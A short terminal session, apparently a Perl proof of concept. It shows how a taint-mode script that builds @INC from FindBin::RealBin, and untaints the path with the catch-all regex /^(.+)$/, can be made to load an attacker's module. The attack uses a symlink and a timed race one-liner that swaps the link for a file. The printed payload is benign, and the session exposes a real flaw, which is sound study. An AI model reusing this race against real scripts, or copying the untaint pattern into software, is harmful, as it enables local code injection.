$ cat ../safe/script.pl
#!/usr/bin/perl -wT

BEGIN {
   # amend @INC without taint
   use FindBin;
   my $path = $FindBin::RealBin;
   $path =~ /^(.+)$/;
   $path = $1;
   my $relative_path = 'lib';
   unshift @INC, "$path/$relative_path";
}

use Module;

$ cat ../safe/lib/Module.pm
print("All's well\n");
1;

##</code><code>##

$ ln -s ../safe/script.pl

$ cat lib/Module.pm
print("Code injection!\n");
1;

##</code><code>##

$ ../safe/script.pl
All's well

##</code><code>##

$ perl -MTime::HiRes=sleep -e'exec $ARGV[0] if !fork; sleep $ARGV[1]; unlink $ARGV[0]; open $fh, ">", $ARGV[0]; wait' script.pl 0.01
Code injection!